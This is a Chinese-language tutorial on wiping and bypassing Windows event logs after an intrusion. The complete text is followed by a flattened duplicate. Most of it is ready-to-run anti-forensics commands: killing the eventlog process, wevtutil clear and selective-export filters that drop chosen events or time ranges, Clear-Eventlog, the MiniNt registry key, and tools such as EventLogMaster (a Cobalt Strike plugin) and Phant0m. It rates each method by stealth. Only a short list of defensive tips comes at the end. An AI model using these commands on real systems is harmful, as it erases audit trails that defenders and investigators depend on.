Windows日志清除绕过
字数 1339 2025-08-06 21:48:53

Windows日志清除绕过技术详解

0x01 关闭日志服务方法

操作步骤:

  1. 找出日志进程的PID:

    Get-WmiObject -Class win32_service -Filter "name = 'eventlog'"
    
  2. 终止对应PID的进程:

    taskkill /F /PID 1792
    

注意事项:

  • 此方法只是临时关闭日志服务
  • 系统重启后日志服务会自动恢复
  • 操作会留下明显的服务终止痕迹

0x02 wevtutil工具使用

wevtutil是Windows内置的事件日志工具,功能强大:

基本操作命令

  1. 统计日志列表信息:

    wevtutil.exe gli Application
    
  2. 查看指定类别日志内容:

    wevtutil qe /f:text Application
    
  3. 清除某类日志所有内容:

    wevtutil cl Application
    
  4. 获取最近十条日志:

    wevtutil.exe qe Security /f:text /rd:true /c:10
    

高级过滤与导出

  1. 日志导出:

    wevtutil.exe epl Security 1.evtx
    
  2. 按日志ID过滤:

    wevtutil epl Security 1.evtx "/q: *[System [(EventID!=1112)]]"
    
  3. 组合条件过滤:

    wevtutil epl Security 1.evtx "/q:*[System [(EventID>13032) or (EventRecordID<13030)]]"
    
  4. 按时间范围过滤:

    wevtutil epl Security new.evtx "/q: *[System [TimeCreated[@SystemTime >'2021-09-08T17:21:00' or @SystemTime <'2021-09-08T09:20:00']]]"
    
  5. 复杂组合过滤:

    wevtutil epl Security asd.evtx "/q:(Event/System/TimeCreated[@SystemTime >'2021-09-07T03:21:00' or @SystemTime <'2021-09-04T03:20:00']) and Event/System/EventID=4624"
    

注意事项:

  • 注意系统时区差异(通常需要调整8小时)
  • 清除后会留下1012或104的系统日志
  • 可通过GitHub项目重新导入处理后的日志文件

0x03 EventLogMaster工具

项目地址:
https://github.com/QAX-A-Team/EventLogMaster

功能特点:

  • Cobalt Strike插件
  • 可指定IP地址进行精确清除
  • 图形化操作界面

使用场景:
当特定IP地址(如172.20.10.3)记录在remoteconnectionmanager日志中时,可选择相应日志类型并填写源地址进行清除。

0x04 PowerShell清除方法

基本命令:

Clear-Eventlog -LogName Security
Clear-Eventlog -LogName System

注意事项:

  • 清除后会分别留下104和1102的清除日志
  • 痕迹较为明显

0x05 Phantom技术

项目地址:
https://github.com/hlldz/Phant0m

技术原理:

  • svchost.exe管理服务,服务实际作为线程运行
  • 找到负责事件日志服务的进程
  • 终止负责事件日志服务的线程但不终止进程
  • 系统不收集日志但服务看似正常运行

使用方法:

  1. 通过编译后的exe程序执行
  2. 使用Cobalt Strike插件
  3. PowerShell执行:
    powershell -ep bypass
    Import-Module .\Invoke-Phant0m.ps1
    Invoke-Phant0m
    

0x06 MiniNT注册表方法

操作步骤:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MiniNt"

效果:

  • 禁用事件查看器
  • 限制日志生成功能

恢复方法:

  • 删除该注册表项
  • 重启系统后日志功能恢复正常

综合对比

方法 痕迹程度 恢复难度 操作复杂度 适用场景
关闭服务 明显 简单(重启) 临时需求
wevtutil 中等(留104/1012) 精确清除
EventLogMaster 针对IP清除
PowerShell 明显(留104/1102) 快速清除
Phantom 隐蔽操作
MiniNT注册表 中(需重启) 长期禁用

防御建议

  1. 启用日志服务器集中收集
  2. 设置日志文件访问权限
  3. 监控日志服务异常状态
  4. 定期备份重要日志
  5. 启用Windows Defender攻击面减少规则

注意事项

  1. 所有清除操作都可能留下痕迹
  2. 部分方法需要管理员权限
  3. 生产环境谨慎操作,可能影响合规要求
  4. 某些方法在较新Windows版本可能失效
  5. 精确清除比全量清除更隐蔽
Windows日志清除绕过技术详解 0x01 关闭日志服务方法 操作步骤: 找出日志进程的PID: 终止对应PID的进程: 注意事项: 此方法只是临时关闭日志服务 系统重启后日志服务会自动恢复 操作会留下明显的服务终止痕迹 0x02 wevtutil工具使用 wevtutil是Windows内置的事件日志工具,功能强大: 基本操作命令 统计日志列表信息: 查看指定类别日志内容: 清除某类日志所有内容: 获取最近十条日志: 高级过滤与导出 日志导出: 按日志ID过滤: 组合条件过滤: 按时间范围过滤: 复杂组合过滤: 注意事项: 注意系统时区差异(通常需要调整8小时) 清除后会留下1012或104的系统日志 可通过GitHub项目重新导入处理后的日志文件 0x03 EventLogMaster工具 项目地址: https://github.com/QAX-A-Team/EventLogMaster 功能特点: Cobalt Strike插件 可指定IP地址进行精确清除 图形化操作界面 使用场景: 当特定IP地址(如172.20.10.3)记录在remoteconnectionmanager日志中时,可选择相应日志类型并填写源地址进行清除。 0x04 PowerShell清除方法 基本命令: 注意事项: 清除后会分别留下104和1102的清除日志 痕迹较为明显 0x05 Phantom技术 项目地址: https://github.com/hlldz/Phant0m 技术原理: svchost.exe管理服务,服务实际作为线程运行 找到负责事件日志服务的进程 终止负责事件日志服务的线程但不终止进程 系统不收集日志但服务看似正常运行 使用方法: 通过编译后的exe程序执行 使用Cobalt Strike插件 PowerShell执行: 0x06 MiniNT注册表方法 操作步骤: 效果: 禁用事件查看器 限制日志生成功能 恢复方法: 删除该注册表项 重启系统后日志功能恢复正常 综合对比 | 方法 | 痕迹程度 | 恢复难度 | 操作复杂度 | 适用场景 | |------|----------|----------|------------|----------| | 关闭服务 | 明显 | 简单(重启) | 低 | 临时需求 | | wevtutil | 中等(留104/1012) | 难 | 中 | 精确清除 | | EventLogMaster | 低 | 难 | 中 | 针对IP清除 | | PowerShell | 明显(留104/1102) | 难 | 低 | 快速清除 | | Phantom | 低 | 中 | 高 | 隐蔽操作 | | MiniNT注册表 | 低 | 中(需重启) | 低 | 长期禁用 | 防御建议 启用日志服务器集中收集 设置日志文件访问权限 监控日志服务异常状态 定期备份重要日志 启用Windows Defender攻击面减少规则 注意事项 所有清除操作都可能留下痕迹 部分方法需要管理员权限 生产环境谨慎操作,可能影响合规要求 某些方法在较新Windows版本可能失效 精确清除比全量清除更隐蔽